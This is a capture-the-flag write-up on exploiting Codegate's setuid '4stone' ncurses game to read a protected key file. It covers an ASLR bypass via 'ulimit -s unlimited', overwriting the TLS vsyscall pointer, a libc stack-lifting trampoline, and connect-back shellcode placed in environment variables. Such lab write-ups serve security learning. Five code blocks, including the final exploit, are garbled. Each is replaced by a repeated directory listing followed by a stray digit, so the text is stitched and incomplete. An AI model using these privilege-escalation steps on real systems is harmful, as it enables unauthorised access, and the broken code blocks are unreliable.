data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>As shown above, 4stone is marked with the setuid bit and the key is read-only by the 4stone user. This is a common setup in Codegate. The organizers expect us to find a vulnerability and develop an exploit in the 4stone binary that we can leverage from the &ldquo;unprivileged&rdquo; guest user. Then we&rsquo;d use our elevated privileges to read the key file.</p><p>It&rsquo;s worth pointing out that folder permissions are not secure from an organizer perspective, as 4stone owns the directory. As the 4stone user (like you get after you pwn the binary), you could grieve the game by deleting or modifying any files in this directory &ndash; including the ones owned by root. The organizers actually mitigated this by mounting<code>/home</code> as read-only.</p><p>It&rsquo;s always worth doing a little reconnaissance on the target system.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ id</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>1004<span class="o">(</span>guest<span class="o">)</span><span class="nv">gid</span><span class="o">=</span>1004<span class="o">(</span>guest<span class="o">)</span><span class="nv">groups</span><span class="o">=</span>1004<span class="o">(</span>guest<span class="o">)</span></span></span><span class="line"><span class="cl">$ lsb_release -a</span></span><span class="line"><span class="cl">No LSB modules are available.</span></span><span class="line"><span class="cl">Distributor ID:Ubuntu</span></span><span class="line"><span class="cl">Description:Ubuntu 13.10</span></span><span class="line"><span class="cl">Release:13.10</span></span><span class="line"><span class="cl">Codename:saucy</span></span><span class="line"><span class="cl">$ uname -a</span></span><span class="line"><span class="cl">Linux notroottroot-virtual-machine 3.11.0-15-generic<span class="c1">#25-Ubuntu SMP Thu Jan 30 17:25:07 UTC 2014 i686 i686 i686 GNU/Linux</span></span></span><span class="line"><span class="cl">$ ls -l /home/</span></span><span class="line"><span class="cl">total<span class="m">20</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 4stone</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> guest guest<span class="m">4096</span> 2월<span class="m">20</span> 05:05 guest</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> hypercat hypercat<span class="m">4096</span> 2월<span class="m">19</span> 21:14 hypercat</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> membership membership<span class="m">4096</span> 2월<span class="m">20</span> 03:10 membership</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> minibomb minibomb<span class="m">4096</span> 2월<span class="m">21</span> 21:59 minibomb</span></span></code></pre></div><p>It appears our guest account is a regular unprivileged account on an Ubuntu 13.10 32-bt x86 server. This server also hosts several other challenges. This server also isn&rsquo;t a standard<code>US_EN</code> server install (and why would it be?) - the locale is set to<code>ko_KR.UTF-8</code>.</p><h2 id="4stone-binary">4stone Binary</h2><p>The 4stone binary is a dynamically-linked 32bit ELF executable - nothing special here.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file 4stone</span></span><span class="line"><span class="cl">4stone: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, from<span class="s1">'%'</span>, stripped</span></span><span class="line"><span class="cl">$ ldd 4stone</span></span><span class="line"><span class="cl"> linux-gate.so.1<span class="o">=</span>><span class="o">(</span>0xb77a3000<span class="o">)</span></span></span><span class="line"><span class="cl"> libncurses.so.5<span class="o">=</span>> /lib/i386-linux-gnu/libncurses.so.5<span class="o">(</span>0xb7768000<span class="o">)</span></span></span><span class="line"><span class="cl"> libtinfo.so.5<span class="o">=</span>> /lib/i386-linux-gnu/libtinfo.so.5<span class="o">(</span>0xb7746000<span class="o">)</span></span></span><span class="line"><span class="cl"> libc.so.6<span class="o">=</span>> /lib/i386-linux-gnu/libc.so.6<span class="o">(</span>0xb7591000<span class="o">)</span></span></span><span class="line"><span class="cl"> libdl.so.2<span class="o">=</span>> /lib/i386-linux-gnu/libdl.so.2<span class="o">(</span>0xb758c000<span class="o">)</span></span></span><span class="line"><span class="cl"> /lib/ld-linux.so.2<span class="o">(</span>0xb77a4000<span class="o">)</span></span></span></code></pre></div><p>The binary does rely on libncurses. That&rsquo;s potentially a little worrisome, as ncurses is quite foreign to me and can be quite difficult to script up interactions with it.</p><p><img src="/content/images/2022/05/main.webp" alt="">4stone main</p><p>So, let&rsquo;s load it into IDA. 4stone is well-formed and IDA has no trouble disassembling it. After browsing around a bit, 4stone appears to be a ncurses-based game. When you beat it, the game prints &ldquo;You win! Xx seconds&rdquo; or &ldquo;You lose&rdquo; depending on the return value of the game. The seconds it takes you are calculated from two<code>gettimeofday()</code> calls (one before the game and one after).</p><p>Side-Note: 4stone&rsquo;s<code>main()</code> sets up the frame pointer but then never uses it. This confuses IDA&rsquo;s stack analysis. To have IDA correctly identify stack locals (so you can name them), you need to edit<code>main</code>&rsquo;s function attributes. You can do this by right-clicking on main at the top and selecting &ldquo;Edit Function&hellip;&rdquo;.</p><p><img src="/content/images/2022/05/editfunction.webp" alt="">Edit function</p><p>You&rsquo;ll want to uncheck &ldquo;BP based frame&rdquo;. Now IDA correctly identifies all the stack locals.</p><p><img src="/content/images/2022/05/main2.webp" alt="">4stone Main with locals</p><p>Isn&rsquo;t that better? :)</p><p>The actual game code isn&rsquo;t interesting. It appears to be a variant of Connect4 with more columns. I quickly launched the game to verify my suspicions.</p><p><img src="/content/images/2022/05/game-1.webp" alt=""/><p>The interesting bit happens when you win.</p><p>The game isn&rsquo;t randomized at all, so the following keys will always win:<code>\n\nLL\nL\nH\nH\n</code>. These can be put into a text file and fed in via<code>STDIN</code> to win in 0 seconds.</p><h2 id="the-vulnerability">The Vulnerability</h2><p><img src="/content/images/2022/05/win.webp" alt="">4stone win conditions</p><p>The code above is pretty straightforward. If you win with a 0-second time, it takes<code>argv[1]</code>, converts it to an integer, casts it as a pointer, and writes there with the result of the<code>scanf</code></p><p>The C code is essentially this:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">unsigned</span><span class="kt">int</span><span class="o">*</span><span class="n">where</span><span class="o">=</span><span class="p">(</span><span class="kt">unsigned</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="nf">strtoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="nb">NULL</span><span class="p">,</span><span class="mi">16</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">unsigned</span><span class="kt">int</span><span class="n">what</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nf">scanf</span><span class="p">(</span><span class="s">"%x"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">what</span><span class="p">);</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">where</span><span class="p">)</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">where</span><span class="o">=</span><span class="n">what</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>Well&hellip;.that&rsquo;s what I thought it was at first, as I ignored the comparisons in the middle. This is what it actually is:</p><pre tabindex="0"><code>unsigned int *where = (unsigned int *)strtoul(argv[1], NULL, 16);
unsigned int what = 0;
scanf("%x", &amp;what);
if (where) {
if ((where >> 16) != 0x0804 &amp;&amp; (where &amp; 0xF0000000) != 0xB0000000) {
*where = what;
}
}</code></pre><p>Those extra checks prevent you from writing anywhere in<code>0x0804xxxx</code> and<code>0xBxxxxxxx</code>. So, what falls into those areas? Well, everywhere interesting to write!</p><pre tabindex="0"><code>$ cat /proc/1585/maps
08048000-0804a000 r-xp 00000000 ca:01 393837 /home/ubuntu/4stone
0804a000-0804b000 r-xp 00001000 ca:01 393837 /home/ubuntu/4stone
0804b000-0804c000 rwxp 00002000 ca:01 393837 /home/ubuntu/4stone
09e14000-09e56000 rwxp 00000000 00:00 0 [heap]
b7592000-b7593000 rwxp 00000000 00:00 0
b7593000-b7596000 r-xp 00000000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7596000-b7597000 r-xp 00002000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7597000-b7598000 rwxp 00003000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7598000-b7599000 rwxp 00000000 00:00 0
b7599000-b7747000 r-xp 00000000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b7747000-b7749000 r-xp 001ae000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b7749000-b774a000 rwxp 001b0000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b774a000-b774d000 rwxp 00000000 00:00 0
b774d000-b776b000 r-xp 00000000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776b000-b776c000 ---p 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776c000-b776e000 r-xp 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776e000-b776f000 rwxp 00020000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776f000-b7792000 r-xp 00000000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b7792000-b7793000 r-xp 00022000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b7793000-b7794000 rwxp 00023000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b779a000-b779e000 rwxp 00000000 00:00 0
b779e000-b779f000 r-xp 00000000 00:00 0 [vdso]
b779f000-b77bf000 r-xp 00000000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
b77bf000-b77c0000 r-xp 0001f000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
b77c0000-b77c1000 rwxp 00020000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
bf87e000-bf89f000 rwxp 00000000 00:00 0 [stack]</code></pre><p>The only memory region outside of this space is the heap - which is<code>rwx</code>, but randomized.</p><p>You might be saying, &ldquo;but there surely must be a bullshit trick that undermines all ASLR on setuid binaries?&rdquo;&hellip;and you&rsquo;d be right! If you use the bash built-in<code>ulimit</code>, you can modify the stack size of any subsequently launched binaries. By setting it to unlimited all the shared libraries and the<code>vdso</code> areas can&rsquo;t be randomized into the stack&rsquo;s area.</p><pre tabindex="0"><code>$ ulimit -s unlimited
$ cat /proc/1591/maps
08048000-0804a000 r-xp 00000000 ca:01 393837 /home/ubuntu/4stone
0804a000-0804b000 r-xp 00001000 ca:01 393837 /home/ubuntu/4stone
0804b000-0804c000 rwxp 00002000 ca:01 393837 /home/ubuntu/4stone
099d1000-09a13000 rwxp 00000000 00:00 0 [heap]
40000000-40020000 r-xp 00000000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40020000-40021000 r-xp 0001f000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40021000-40022000 rwxp 00020000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40022000-40023000 r-xp 00000000 00:00 0 [vdso]
40023000-40027000 rwxp 00000000 00:00 0
4002d000-40050000 r-xp 00000000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40050000-40051000 r-xp 00022000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40051000-40052000 rwxp 00023000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40052000-40070000 r-xp 00000000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40070000-40071000 ---p 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40071000-40073000 r-xp 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40073000-40074000 rwxp 00020000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40074000-40222000 r-xp 00000000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40222000-40224000 r-xp 001ae000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40224000-40225000 rwxp 001b0000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40225000-40228000 rwxp 00000000 00:00 0
40228000-4022b000 r-xp 00000000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022b000-4022c000 r-xp 00002000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022c000-4022d000 rwxp 00003000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022d000-4022e000 rwxp 00000000 00:00 0
bfa82000-bfaa3000 rwxp 00000000 00:00 0 [stack]</code></pre><p>Wow, what an awful feature! The only memory regions randomized now are the heap and the stack.</p><h2 id="exploitation">Exploitation</h2><p>So, where to overwrite? With a write-4 on Linux, you&rsquo;d normally target the<code>.got</code> entry for the next<code>libc</code> call, but we can&rsquo;t do that here because the<code>.got</code> falls in the<code>0x0804xxxxx</code> range. While we can&rsquo;t directly write to the<code>.got</code>, we can still abuse its use.</p><p>The only<code>libc</code> call after our write is to<code>_exit</code>. 4stone doesn&rsquo;t have<code>BIND_NOW</code> set, so the actual address still hasn&rsquo;t been resolved. The call to<code>_exit</code> will be lazy bound and currently points to the dynamic linker&rsquo;s dynamic resolution functions (<code>_dl_runtime_resolve</code>). It&rsquo;s up to the dynamic linker (<code>ld.so</code>) to resolve the address of<code>exit</code> and then jump there. I had a suspicion that there could be a nice juicy function pointer to overwrite somewhere in this process.</p><p>When diving down into the dynamic symbol resolution, I didn&rsquo;t find a lot of areas I could abuse. I expected to be able to overwrite a<code>.got</code> or<code>.data</code> pointer in<code>ld.so</code>, but was coming up short. The only indirect call or jump I could find was a call to<code>gs:0x14</code>. On 32-bit Linux,<code>gs:0x14</code> is a pointer to the<code>vdso</code><code>__kernel_vsyscall()</code> wrapper.</p><p>There&rsquo;s a problem with this approach though, the data structure pointed to by<code>gs:0</code> is the thread-local storage and is randomized&hellip;unless you set your stack limit to unlimited (it&rsquo;s really a broken feature).</p><p>Since gdb is broken and awful and doesn&rsquo;t let you reference memory off any segment selector other than<code>ds</code>, we have to get clever to get the location of the TLS block.</p><pre tabindex="0"><code>(gdb) catch syscall set_thread_area
Catchpoint 1 (syscall 'set_thread_area' [243])
(gdb) run
Starting program: /home/ubuntu/./4stone
_______________________________________________________________________________
eax:FFFFFFDA ebx:BFFFF060 ecx:40021000 edx:4022D6C0 eflags:00000206
esi:00000001 edi:40026464 esp:BFFFF050 ebp:BFFFF198 eip:40000D31
cs:0073 ds:007B es:007B fs:0000 gs:0000 ss:007B o d I t s z a P c
[007B:BFFFF050]---------------------------------------------------------[stack]
BFFFF080 : 00 00 00 00 00 00 00 00 - 0F 00 00 00 00 00 00 00 ................
BFFFF070 : 00 10 02 40 5C 15 02 40 - 64 64 02 40 CD 2F 00 40 ...@\..@dd.@./.@
BFFFF060 : FF FF FF FF C0 D6 22 40 - FF FF 0F 00 51 00 00 00 ......"@....Q...
BFFFF050 : 08 02 00 00 01 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:40000D31]---------------------------------------------------------[ code]
=> 0x40000d31 &lt;init_tls+329>: xchg ebx,ecx
0x40000d33 &lt;init_tls+331>: test eax,eax
0x40000d35 &lt;init_tls+333>: jne 0x40000d4d &lt;init_tls+357>
0x40000d37 &lt;init_tls+335>: mov eax,DWORD PTR [esp+0x10]
0x40000d3b &lt;init_tls+339>: lea eax,[eax*8+0x3]
0x40000d42 &lt;init_tls+346>: mov gs,eax
------------------------------------------------------------------------------
Catchpoint 1 (call to syscall set_thread_area), 0x40000d31 in init_tls () at rtld.c:786
786 rtld.c: No such file or directory.
(gdb) finish
Run till exit from #0 0x40000d80 in init_tls () at rtld.c:793
_______________________________________________________________________________
eax:4022D6C0 ebx:40021000 ecx:BFFFF060 edx:4022D6C0 eflags:00000282
esi:4002155C edi:40026464 esp:BFFFF080 ebp:BFFFF198 eip:40002FCD
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF080]---------------------------------------------------------[stack]
BFFFF0B0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF0A0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF090 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF080 : 00 00 00 00 00 00 00 00 - 0F 00 00 00 00 00 00 00 ................
[0073:40002FCD]---------------------------------------------------------[ code]
=> 0x40002fcd &lt;dl_main+6317>: mov DWORD PTR [ebp-0x98],eax
0x40002fd3 &lt;dl_main+6323>: mov eax,DWORD PTR [ebx+0x89c]
0x40002fd9 &lt;dl_main+6329>: test eax,eax
0x40002fdb &lt;dl_main+6331>: jne 0x40002fe2 &lt;dl_main+6338>
0x40002fdd &lt;dl_main+6333>: call 0x40000d84 &lt;security_init>
0x40002fe2 &lt;dl_main+6338>: mov eax,DWORD PTR [ebp-0x90]
------------------------------------------------------------------------------
0x40002fcd in dl_main (phdr=0x8048034, phnum=0x9, user_entry=0xbffff1ec, auxv=0xbffff2f0) at rtld.c:1819
1819 in rtld.c
Value returned is $1 = (void *) 0x4022d6c0
(gdb)</code></pre><p>The value (<code>0x4022d6c0</code>) in<code>EAX</code> is the static pointer to the TLS block. Note: this value was slightly different on the Codegate servers (I suspect because of locale considerations).</p><pre tabindex="0"><code>(gdb) x/40x $eax
0x4022d6c0: 0x4022d6c0 0x4022db88 0x4022d6c0 0x00000000
0x4022d6d0: 0x40022414 0x00000000 0x00000000 0x00000000
(gdb) x/5i 0x40022414
0x40022414 &lt;__kernel_vsyscall>: push ecx
0x40022415 &lt;__kernel_vsyscall+1>: push edx
0x40022416 &lt;__kernel_vsyscall+2>: push ebp
0x40022417 &lt;__kernel_vsyscall+3>: mov ebp,esp
0x40022419 &lt;__kernel_vsyscall+5>: sysenter</code></pre><p>Excellent, now we know where to overwrite (<code>0x4022d6d0</code> - the location of the pointer to<code>kernel_vsyscall()</code>). Overwriting that value gives us<code>EIP</code> control shortly after the call to<code>_exit()</code>.</p><p>I crafted a file that I feed in via<code>STDIN</code> to cause the vulnerable condition:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>0</p><p>The<code>65656565</code> is read by<code>scanf</code> to be the &ldquo;what&rdquo; part of the write-4. Running this in gdb results in the following:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>1</p><p>Alright, now we have<code>EIP</code> control, where do we jump? If you remember from earlier, the stack and heap are<code>RWX</code>. However, there aren&rsquo;t many options to get data into them. 4stone enforces an<code>argc</code> of less than or equal to 2, so we can&rsquo;t pass them in on the command line, leaving environment variables as our only option.</p><p>It&rsquo;s at this point, that I got really frustrated because I thought I was going to have to spray a huge NOP sled and continuously jump blindly into the stack hoping for it to land&hellip;which is exactly what I did for a couple of hours. I eventually gave up and started looking for other options.</p><p>In my naivety, I had overlooked that<code>envp</code> was around<code>0x100</code> bytes down the stack from the crashing state.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>2</p><p>Rather than jumping blindly into the stack, if I could find a trampoline that added at least<code>0x100</code> to<code>ESP</code> before returning, I could return directly to an environment variable. I briefly looked in the 4stone binary itself for such a trampoline to no avail&hellip;but since libc was no longer randomized, I knew I&rsquo;d be able to find a suitable trampoline there.</p><p>In the epilogue of the<code>posix_fallocate64_l64()</code>, I found a perfect trampoline:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>3</p><p>Alright, so now I just need to write the exploit. I grabbed some shellcode from shellstorm (connect back to port<code>11111</code> - I kept it at<code>localhost</code> because we had the guest shell). I made dozens of environment variables with my shellcode and threw my exploit (locally).</p><p>&hellip;.and it crashed&hellip;</p><p>Looking closer, it died trying to execute the string<code>"LOL="</code> as code. I quickly changed all my environment variables to start with<code>\xeb\x02</code>, which is the opcode for<code>JMP $+4</code>, which jumped over the remainder of the environment variable key and equals sign to my shellcode. Alright! It worked locally! Now to try it on their servers!</p><p>&hellip;and it crashed&hellip;</p><p>After doing some debugging, it turns out their version of 13.10 was slightly different than mine. After updating the pointers to the TLS block and the trampoline, the exploit worked and I got the flag.</p><blockquote><p>Flag: gARBAG3_hOL3_R4bB1T_R5BBIT</p></blockquote><p>My exploit code follows (this uses the pointer values for my EC2 instance&rsquo;s<code>libc</code> and TLS block):</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ ls -al /home/4stone/</span></span><span class="line"><span class="cl">total<span class="m">36</span></span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">2</span> 4stone 4stone<span class="m">4096</span> 2월<span class="m">20</span> 05:02 .</span></span><span class="line"><span class="cl">drwxr-xr-x<span class="m">7</span> root root<span class="m">4096</span> 2월<span class="m">23</span> 08:18 ..</span></span><span class="line"><span class="cl">-rwsr-xr-x<span class="m">1</span> 4stone 4stone<span class="m">9764</span> 2월<span class="m">20</span> 19:27 4stone</span></span><span class="line"><span class="cl">lrwxrwxrwx<span class="m">1</span> root root<span class="m">9</span> 2월<span class="m">19</span> 21:14 .bash_history -> /dev/null</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">220</span> 3월<span class="m">31</span><span class="m">2013</span> .bash_logout</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">3637</span> 3월<span class="m">31</span><span class="m">2013</span> .bashrc</span></span><span class="line"><span class="cl">-r--------<span class="m">1</span> 4stone 4stone<span class="m">27</span> 2월<span class="m">21</span> 21:54 key</span></span><span class="line"><span class="cl">-rw-r--r--<span class="m">1</span> 4stone 4stone<span class="m">675</span> 3월<span class="m">31</span><span class="m">2013</span> .profile</span></span></code></pre></div><p>4</p><p>Side Note: I used an<code>OrderedDict</code> because I was worried that my environment entries would get reordered. I&rsquo;m not sure if it actually fixed anything.</p><p>This blog post was originally published on my CTF team&rsquo;s GitHub<a href="https://github.com/maraud3rs/writeups/tree/master/codegate_4stone">here</a>.</p></description></item></channel></rss>